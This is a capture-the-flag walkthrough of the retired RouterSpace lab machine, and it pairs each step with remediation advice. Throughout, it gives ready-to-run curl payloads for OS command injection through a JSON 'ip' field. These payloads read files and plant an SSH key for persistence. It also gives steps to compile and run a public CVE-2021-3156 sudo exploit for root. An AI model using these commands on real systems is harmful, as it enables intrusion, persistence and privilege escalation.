← all walkthroughs

RouterSpace

Linux· Easy· Privilege Escalation
owned
2026-07-06
time to own
6m54s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

The RouterSpace web application on port 80 exposed an unauthenticated JSON diagnostic API whose 'ip' parameter was passed directly to a shell command with no validation. My without credentials injected OS commands through that single field, confirmed execution as user 'paul', read the user flag in a single HTTP request, and implanted an SSH public key into paul's home directory — converting blind HTTP-based code execution into a persistent interactive shell.

From that foothold, the installed sudo binary proved to be version 1.8.31, unpatched against CVE-2021-3156 ('Baron Samedit'), a heap-based buffer overflow exploitable by any local user regardless of sudo policy. A public proof-of-concept was compiled on my machine, transferred via SCP over the newly established SSH channel, and executed on-target — producing an immediate root shell and completing full system compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceService enumeration and web application fingerprinting (T1046)
Enumerated open services and fingerprinted the RouterSpace web application
A version scan of the target revealed two open ports: SSH on 22 (banner 'SSH-2.0-RouterSpace Packet Filtering V1', advertising public-key authentication only — ruling out password spraying) and HTTP on 80. Probing port 80 with the application's expected User-Agent string returned HTTP 200 with custom response headers 'X-Powered-By: RouterSpace' and 'X-Cdn: RouterSpace-*', confirming a proprietary branded application rather than a recognisable off-the-shelf framework. This immediately focused the attack surface on the app's own API logic.
Nmap: 22/tcp open ssh; banner SSH-2.0-RouterSpace Packet Filtering V1; ssh-auth-methods publickey. HTTP/1.1 200 OK X-Powered-By: RouterSpace X-Cdn: RouterSpace-46737.
Exact commands 3
Version scan and SSH auth-method probe on both open ports.
nmap -Pn -sV -p22,80 --script ssh-auth-methods,ssh-hostkey $TARGET
Add the target hostname to local resolution for subsequent requests.
echo "$TARGET routerspace.htb" | sudo tee -a /etc/hosts
Confirm X-Powered-By: RouterSpace and X-Cdn headers that fingerprint the app.
curl -si -A "$PASSWORD" http://routerspace.htb/ | head -30
2EnumerationUnauthenticated API endpoint discovery (T1190)
Located the unauthenticated router-diagnostic API endpoint
Probing the web application's API route hierarchy uncovered the endpoint /api/v4/monitoring/router/dev/check/deviceAccess. It accepted unauthenticated POST requests with a JSON body containing an 'ip' key, provided the caller set the User-Agent to '[REDACTED: recovered credential]'. Submitting a value of 0.0.0.0 returned HTTP 200 with 'Suspicious activity detected !!!' and a RequestID, confirming the endpoint processed the 'ip' field as input to some back-end operation — with no authentication or session token required.
POST /api/v4/monitoring/router/dev/check/deviceAccess with {"ip":"0.0.0.0"} and UA [REDACTED: recovered credential] → HTTP 200 'Suspicious activity detected !!! {RequestID: WN bPJZ Jioz}'
Exact commands 1
Confirm the endpoint is live and processing the ip field without any credential requirement.
curl -sS -m 8 -X POST -H "User-Agent: $PASSWORD" -H 'Content-Type: application/json' --data '{"ip":"0.0.0.0"}' http://routerspace.htb/api/v4/monitoring/router/dev/check/deviceAccess
FixEliminate OS command injection by never passing user input directly to shell commandsCritical
WeaknessThe /api/v4/monitoring/router/dev/check/deviceAccess endpoint concatenated the caller-supplied 'ip' JSON field into a shell command string with no validation or escaping, allowing any unauthenticated HTTP client to run arbitrary OS commands as the web-server user simply by appending a semicolon and a second command.
FixRewrite the diagnostic function to use a language-level subprocess API that accepts arguments as an array rather than a shell string (e.g., Python subprocess.run(['ping', '-c', '1', ip], shell=False), or Node.js child_process.execFile('ping', ['-c', '1', ip])). Before passing the value to any function, validate it against a strict IPv4/IPv6 regex and reject with HTTP 422 if it does not match. Add token-based authentication to the monitoring API so unauthenticated access is impossible — even a correctly implemented command call should not be reachable without a valid session. Apply a web application firewall rule to block requests containing shell metacharacters (; & | ` $ ( )) as a defence-in-depth layer.
3ExploitationOS Command Injection (CWE-78, T1059.004)
Injected an OS command through the unsanitised 'ip' field — confirmed RCE as paul
The 'ip' value was concatenated directly into a shell command on the server (consistent with a ping or network-diagnostic wrapper). Appending a semicolon and a second command — the classic Unix shell injection separator — caused the server to execute both and return the injected command's output in the HTTP response body. Sending ip=0.0.0.0;id returned 'uid=1001(paul) gid=1001(paul)', confirming unauthenticated remote code execution as the local user paul.
POST body {"ip":"0.0.0.0;id"} → response body contained uid=1001(paul) gid=1001(paul).
Exact commands 1
Confirm RCE: response must include uid=1001(paul). If 'Suspicious activity detected' appears instead, try ip=127.0.0.1;id or a routable IP prefix.
curl -sS -m 8 -X POST -H "User-Agent: $PASSWORD" -H 'Content-Type: application/json' --data '{"ip":"0.0.0.0;id"}' http://routerspace.htb/api/v4/monitoring/router/dev/check/deviceAccess
4ExploitationSensitive data exfiltration via OS command injection (T1059.004)
Exfiltrated the user flag in a single HTTP request — no interactive shell required
With arbitrary OS command execution confirmed, a single further request injected a cat command for /home/paul/user.txt into the same endpoint. The file's contents were returned inline in the API response body, demonstrating that any file readable by paul — including private SSH keys, application configs, or secrets — could be exfiltrated without ever opening a reverse shell or interactive session.
POST body {"ip":"0.0.0.0;cat /home/paul/user.txt"} returned the user flag value inline in the HTTP response body.
Exact commands 1
Response body contains the user flag (<user.txt>).
curl -sS -m 8 -X POST -H "User-Agent: $PASSWORD" -H 'Content-Type: application/json' --data '{"ip":"0.0.0.0;cat /home/paul/user.txt"}' http://routerspace.htb/api/v4/monitoring/router/dev/check/deviceAccess
5FootholdSSH Authorized Keys implant for persistence (T1098.004)
Implanted an SSH public key via the injection to gain a persistent interactive shell
To upgrade from single-request HTTP-based command execution to a full interactive session, I generated a fresh ed25519 SSH key pair locally, then used the same injection point to create paul's ~/.ssh directory if absent and append my public key to authorized_keys. A subsequent SSH connection with the matching private key produced an interactive shell as paul — persistent regardless of web-server state and usable for the subsequent privilege-escalation stage.
Ssh -i paul_ed25519 paul@$TARGET succeeded after the injection-based key write.
Exact commands 3
Generate a throwaway keypair on my machine; public key lands in /tmp/paul_ed25519.pub.
ssh-keygen -t ed25519 -N '' -f /tmp/paul_ed25519
Replace <PAUL_ED25519_PUB_CONTENT> with the single-line content of /tmp/paul_ed25519.pub before sending.
curl -sS -m 8 -X POST -H "User-Agent: $PASSWORD" -H 'Content-Type: application/json' --data '{"ip":"0.0.0.0;mkdir -p /home/paul/.ssh && echo <PAUL_ED25519_PUB_CONTENT> >> /home/paul/.ssh/authorized_keys && chmod 600 /home/paul/.ssh/authorized_keys"}' http://routerspace.htb/api/v4/monitoring/router/dev/check/deviceAccess
Open an interactive SSH session as paul using the implanted key.
ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /tmp/paul_ed25519 paul@$TARGET
6Privilege EscalationLocal privilege escalation fingerprinting (T1082, T1068)
Identified an unpatched sudo binary vulnerable to CVE-2021-3156 (Baron Samedit)
From paul's interactive SSH session, running 'sudo -V' reported 'Sudo version 1.8.31'. This version — shipped with Ubuntu 20.04 LTS — is affected by CVE-2021-3156, a heap-based buffer overflow in sudo's sudoedit argument-parsing path introduced in 2011 and only patched in January 2021 (sudo 1.9.5p2). Critically, the vulnerability requires only a local shell to exploit: no sudo permissions, no password, and no special group membership are needed.
Sudo -V → Sudo version 1.8.31; uname -r → 5.4.0-90-generic (Ubuntu 20.04 LTS).
Exact commands 2
Run from paul's SSH session — confirms Sudo version 1.8.31.
sudo -V
Confirm Ubuntu 20.04 LTS and kernel 5.4.0-90-generic to select the correct PoC build target.
uname -r && grep PRETTY /etc/os-release
7Privilege EscalationHeap buffer overflow in sudo, CVE-2021-3156 'Baron Samedit' (T1068)
Exploited CVE-2021-3156 to obtain a root shell and read the root flag
The CptGibbon/CVE-2021-3156 public proof-of-concept was cloned and compiled on my machine (producing the shared library libnss_x/x.so.2 and the exploit binary), archived, and transferred to the target's /tmp directory via SCP over paul's newly established SSH channel. Running the exploit triggered the heap overflow inside the sudo binary and returned an immediate root shell (uid=0). The root flag was read directly from /root/root.txt.
After ./exploit: id → uid=0(root) gid=0(root) groups=0(root); cat /root/root.txt → <root.txt>.
Exact commands 4
Clone and compile the PoC on my machine; requires gcc and make. Alternatively use the blasty/CVE-2021-3156 fork.
git clone https://github.com/CptGibbon/CVE-2021-3156.git /tmp/CVE-2021-3156 && cd /tmp/CVE-2021-3156 && make
Bundle the compiled exploit and copy it to the target under a fixed path to avoid path confusion.
cd /tmp && tar czf CVE-2021-3156.tgz CVE-2021-3156 && scp -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /tmp/paul_ed25519 CVE-2021-3156.tgz paul@$TARGET:/tmp/cve.tgz
Extract and execute the exploit on-target; returns a root shell (uid=0).
ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /tmp/paul_ed25519 paul@$TARGET 'cd /tmp && tar xzf cve.tgz && cd CVE-2021-3156 && ./exploit'
Read the root flag (<root.txt>) from inside the resulting root shell.
cat /root/root.txt
FixPatch sudo to version 1.9.5p2 or later to close CVE-2021-3156 (Baron Samedit)High
WeaknessThe installed sudo binary (version 1.8.31) contained a heap-based buffer overflow in its sudoedit argument-parsing code, CVE-2021-3156, exploitable by any local user regardless of their sudo policy entries. An unauthorised user with only a low-privilege local shell could trigger the overflow to obtain an immediate root shell — no password or special permissions required.
FixUpdate the sudo package immediately via the system package manager: 'apt-get update && apt-get install --only-upgrade sudo' on Ubuntu/Debian (the patched package is available in the Ubuntu 20.04 security repository). Verify the result with 'sudo --version' — the output must show 1.9.5p2 or later. Enable automatic security updates using the unattended-upgrades package (dpkg-reconfigure unattended-upgrades) so critical OS-level patches like this are applied without manual intervention. As a complementary control, consider confining the web-application user so that even a successful foothold lands in a restricted environment (e.g., systemd sandboxing with NoNewPrivileges=yes, CapabilityBoundingSet=, and a dedicated service account with no interactive login).

Exposed services

22/tcp
80/tcp